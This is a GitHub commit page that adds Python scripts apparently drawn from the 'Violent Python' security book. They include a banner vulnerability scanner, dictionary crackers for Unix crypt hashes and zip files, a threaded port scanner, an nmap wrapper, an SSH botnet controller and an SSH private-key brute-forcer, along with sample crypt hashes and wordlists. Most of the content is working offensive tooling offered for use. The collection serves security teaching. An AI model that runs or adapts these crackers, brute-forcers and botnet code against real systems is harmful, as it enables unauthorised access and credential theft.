Skip to content

Commit 0f16227

Browse files
committed
python3
0 parents  commit 0f16227

File tree

130 files changed

+5759
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

130 files changed

+5759
-0
lines changed

CH1/.DS_Store

6 KB
Binary file not shown.

CH1/1-vulnScanner.py

+56
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
2+
import socket
3+
import os
4+
import sys
5+
6+
7+
def retBanner(ip, port):
8+
try:
9+
socket.setdefaulttimeout(2)
10+
s = socket.socket()
11+
s.connect((ip, port))
12+
banner = s.recv(1024)
13+
return banner
14+
except:
15+
return
16+
17+
18+
def checkVulns(banner, filename):
19+
20+
f = open(filename, 'r')
21+
for line in f.readlines():
22+
if line.strip('\n') in banner:
23+
print('[+] Server is vulnerable: ' + banner.strip('\n'))
24+
25+
26+
27+
def main():
28+
29+
if len(sys.argv) == 2:
30+
filename = sys.argv[1]
31+
if not os.path.isfile(filename):
32+
print('[-] ' + filename +\
33+
' does not exist.')
34+
exit(0)
35+
36+
if not os.access(filename, os.R_OK):
37+
print('[-] ' + filename +\
38+
' access denied.')
39+
exit(0)
40+
else:
41+
print('[-] Usage: ' + str(sys.argv[0]) +\
42+
' <vuln filename>')
43+
exit(0)
44+
45+
portList = [21,22,25,80,110,443]
46+
for x in range(147, 150):
47+
ip = '192.168.95.' + str(x)
48+
for port in portList:
49+
banner = retBanner(ip, port)
50+
if banner:
51+
print ('[+] ' + ip + ' : ' + banner)
52+
checkVulns(banner, filename)
53+
54+
55+
if __name__ == '__main__':
56+
main()

CH1/2-passwdCrack.py

+28
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import crypt
2+
3+
4+
def testPass(cryptPass):
5+
salt = cryptPass[0:2]
6+
dictFile = open('dictionary.txt', 'r')
7+
for word in dictFile.readlines():
8+
word = word.strip('\n')
9+
cryptWord = crypt.crypt(word, salt)
10+
if cryptWord == cryptPass:
11+
print('[+] Found Password: '+ word + '\n')
12+
return
13+
print('[-] Password Not Found.\n')
14+
return
15+
16+
17+
def main():
18+
passFile = open('passwords.txt')
19+
for line in passFile.readlines():
20+
if ':' in line:
21+
user = line.split(':')[0]
22+
cryptPass = line.split(':')[1].strip(' ')
23+
print('[*] Cracking Password For: ' + user)
24+
testPass(cryptPass)
25+
26+
27+
if __name__ == '__main__':
28+
main()

CH1/3-zipCrack.py

+41
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf-8 -*-
3+
import zipfile
4+
import optparse
5+
from threading import Thread
6+
7+
8+
def extractFile(zFile, password):
9+
try:
10+
zFile.extractall(pwd=password)
11+
print('[+] Found password ' + password + '\n')
12+
except:
13+
pass
14+
15+
16+
def main():
17+
parser = optparse.OptionParser("usage %prog "+\
18+
"-f <zipfile> -d <dictionary>")
19+
parser.add_option('-f', dest='zname', type='string',\
20+
help='specify zip file')
21+
parser.add_option('-d', dest='dname', type='string',\
22+
help='specify dictionary file')
23+
(options, args) = parser.parse_args()
24+
if (options.zname == None) | (options.dname == None):
25+
print(parser.usage)
26+
exit(0)
27+
else:
28+
zname = options.zname
29+
dname = options.dname
30+
31+
zFile = zipfile.ZipFile(zname)
32+
passFile = open(dname)
33+
34+
for line in passFile.readlines():
35+
password = line.strip('\n')
36+
t = Thread(target=extractFile, args=(zFile, password))
37+
t.start()
38+
39+
40+
if __name__ == '__main__':
41+
main()

CH1/dictionary.txt

+8
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
apple
2+
orange
3+
egg
4+
lemon
5+
grapes
6+
secret
7+
strawberry
8+
password

CH1/evil.zip

34.9 KB
Binary file not shown.

CH1/passwords.txt

+2
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
victim: HX9LLTdc/jiDE: 503:100:Iama Victim:/home/victim:/bin/sh
2+
root: DFNFxgW7C05fo: 504:100: Markus Hess:/root:/bin/bash

CH1/vuln-banners.txt

+30
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
3Com 3CDaemon FTP Server Version 2.0
2+
Ability Server 2.34
3+
4+
CCProxy Telnet Service Ready
5+
6+
ESMTP TABS Mail Server for Windows NT
7+
8+
FreeFloat Ftp Server (Version 1.00)
9+
10+
IMAP4rev1 MDaemon 9.6.4 ready
11+
12+
MailEnable Service, Version: 0-1.54
13+
14+
NetDecision-HTTP-Server 1.0
15+
PSO Proxy 0.9
16+
17+
SAMBAR
18+
19+
Sami FTP Server 2.0.2
20+
21+
Spipe 1.0
22+
23+
TelSrv 1.5
24+
25+
WDaemon 6.8.5
26+
27+
WinGate 6.1.1
28+
Xitami
29+
30+
YahooPOPs! Simple Mail Transfer Service Ready

CH2/.DS_Store

6 KB
Binary file not shown.

CH2/1-portScan.py

+62
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
import optparse
2+
from socket import *
3+
from threading import *
4+
5+
screenLock = Semaphore(value=1)
6+
7+
def connScan(tgtHost, tgtPort):
8+
try:
9+
connSkt = socket(AF_INET, SOCK_STREAM)
10+
connSkt.connect((tgtHost, tgtPort))
11+
connSkt.send('ViolentPython\r\n')
12+
results = connSkt.recv(100)
13+
screenLock.acquire()
14+
print('[+] %d/tcp open' % tgtPort)
15+
print('[+] ' + str(results))
16+
except:
17+
screenLock.acquire()
18+
print('[-] %d/tcp closed' % tgtPort)
19+
finally:
20+
screenLock.release()
21+
connSkt.close()
22+
23+
def portScan(tgtHost, tgtPorts):
24+
try:
25+
tgtIP = gethostbyname(tgtHost)
26+
except:
27+
print("[-] Cannot resolve '%s': Unknown host" %tgtHost)
28+
return
29+
30+
try:
31+
tgtName = gethostbyaddr(tgtIP)
32+
print('\n[+] Scan Results for: ' + tgtName[0])
33+
except:
34+
print('\n[+] Scan Results for: ' + tgtIP)
35+
36+
setdefaulttimeout(1)
37+
for tgtPort in tgtPorts:
38+
t = Thread(target=connScan,args=(tgtHost,int(tgtPort)))
39+
t.start()
40+
41+
def main():
42+
parser = optparse.OptionParser('usage %prog '+\
43+
'-H <target host> -p <target port>')
44+
parser.add_option('-H', dest='tgtHost', type='string',\
45+
help='specify target host')
46+
parser.add_option('-p', dest='tgtPort', type='string',\
47+
help='specify target port[s] separated by comma')
48+
49+
(options, args) = parser.parse_args()
50+
51+
tgtHost = options.tgtHost
52+
tgtPorts = str(options.tgtPort).split(',')
53+
54+
if (tgtHost == None) | (tgtPorts[0] == None):
55+
print(parser.usage)
56+
exit(0)
57+
58+
portScan(tgtHost, tgtPorts)
59+
60+
61+
if __name__ == '__main__':
62+
main()

CH2/2-nmapScan.py

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
import nmap
2+
import optparse
3+
4+
def nmapScan(tgtHost,tgtPort):
5+
nmScan = nmap.PortScanner()
6+
nmScan.scan(tgtHost,tgtPort)
7+
state=nmScan[tgtHost]['tcp'][int(tgtPort)]['state']
8+
print "[*] " + tgtHost + " tcp/"+tgtPort +" "+state
9+
10+
def main():
11+
parser = optparse.OptionParser('usage %prog '+\
12+
'-H <target host> -p <target port>')
13+
parser.add_option('-H', dest='tgtHost', type='string',\
14+
help='specify target host')
15+
parser.add_option('-p', dest='tgtPort', type='string',\
16+
help='specify target port[s] separated by comma')
17+
18+
(options, args) = parser.parse_args()
19+
20+
tgtHost = options.tgtHost
21+
tgtPorts = str(options.tgtPort).split(',')
22+
23+
if (tgtHost == None) | (tgtPorts[0] == None):
24+
print parser.usage
25+
exit(0)
26+
for tgtPort in tgtPorts:
27+
nmapScan(tgtHost, tgtPort)
28+
29+
30+
if __name__ == '__main__':
31+
main()
32+

CH2/3-botNet.py

+48
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf-8 -*-
3+
import optparse
4+
import pxssh
5+
6+
7+
class Client:
8+
9+
def __init__(self, host, user, password):
10+
self.host = host
11+
self.user = user
12+
self.password = password
13+
self.session = self.connect()
14+
15+
def connect(self):
16+
try:
17+
s = pxssh.pxssh()
18+
s.login(self.host, self.user, self.password)
19+
return s
20+
except Exception, e:
21+
print e
22+
print '[-] Error Connecting'
23+
24+
def send_command(self, cmd):
25+
self.session.sendline(cmd)
26+
self.session.prompt()
27+
return self.session.before
28+
29+
30+
def botnetCommand(command):
31+
for client in botNet:
32+
output = client.send_command(command)
33+
print '[*] Output from ' + client.host
34+
print '[+] ' + output
35+
36+
37+
def addClient(host, user, password):
38+
client = Client(host, user, password)
39+
botNet.append(client)
40+
41+
42+
botNet = []
43+
addClient('127.0.0.1', 'root', 'toor')
44+
addClient('127.0.0.1', 'root', 'toor')
45+
addClient('127.0.0.1', 'root', 'toor')
46+
47+
botnetCommand('uname -v')
48+
botnetCommand('cat /etc/issue')

CH2/3-bruteKey.py

+79
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
#!/usr/bin/python
2+
# -*- coding: utf-8 -*-
3+
import pexpect
4+
import optparse
5+
import os
6+
from threading import *
7+
8+
maxConnections = 5
9+
connection_lock = BoundedSemaphore(value=maxConnections)
10+
Stop = False
11+
Fails = 0
12+
13+
14+
def connect(user,host,keyfile,release):
15+
global Stop
16+
global Fails
17+
try:
18+
perm_denied = 'Permission denied'
19+
ssh_newkey = 'Are you sure you want to continue'
20+
conn_closed = 'Connection closed by remote host'
21+
opt = ' -o PasswordAuthentication=no'
22+
connStr = 'ssh ' + user +\
23+
'@' + host + ' -i ' + keyfile + opt
24+
child = pexpect.spawn(connStr)
25+
ret = child.expect([pexpect.TIMEOUT,perm_denied,\
26+
ssh_newkey,conn_closed,'$','#',])
27+
if ret == 2:
28+
print '[-] Adding Host to ~/.ssh/known_hosts'
29+
child.sendline('yes')
30+
connect(user, host, keyfile, False)
31+
elif ret == 3:
32+
print '[-] Connection Closed By Remote Host'
33+
Fails += 1
34+
elif ret > 3:
35+
print '[+] Success. ' + str(keyfile)
36+
Stop = True
37+
finally:
38+
if release:
39+
connection_lock.release()
40+
41+
42+
def main():
43+
parser = optparse.OptionParser('usage %prog -H '+\
44+
'<target host> -u <user> -d <directory>')
45+
parser.add_option('-H', dest='tgtHost', type='string',\
46+
help='specify target host')
47+
parser.add_option('-d', dest='passDir', type='string',\
48+
help='specify directory with keys')
49+
parser.add_option('-u', dest='user', type='string',\
50+
help='specify the user')
51+
52+
(options, args) = parser.parse_args()
53+
host = options.tgtHost
54+
passDir = options.passDir
55+
user = options.user
56+
57+
if host == None or passDir == None or user == None:
58+
print parser.usage
59+
exit(0)
60+
61+
for filename in os.listdir(passDir):
62+
if Stop:
63+
print '[*] Exiting: Key Found.'
64+
exit(0)
65+
if Fails > 5:
66+
print '[!] Exiting: '+\
67+
'Too Many Connections Closed By Remote Host.'
68+
print '[!] Adjust number of simultaneous threads.'
69+
exit(0)
70+
connection_lock.acquire()
71+
fullpath = os.path.join(passDir, filename)
72+
print '[-] Testing keyfile ' + str(fullpath)
73+
t = Thread(target=connect,\
74+
args=(user, host, fullpath, True))
75+
child = t.start()
76+
77+
78+
if __name__ == '__main__':
79+
main()

0 commit comments

Comments
 (0)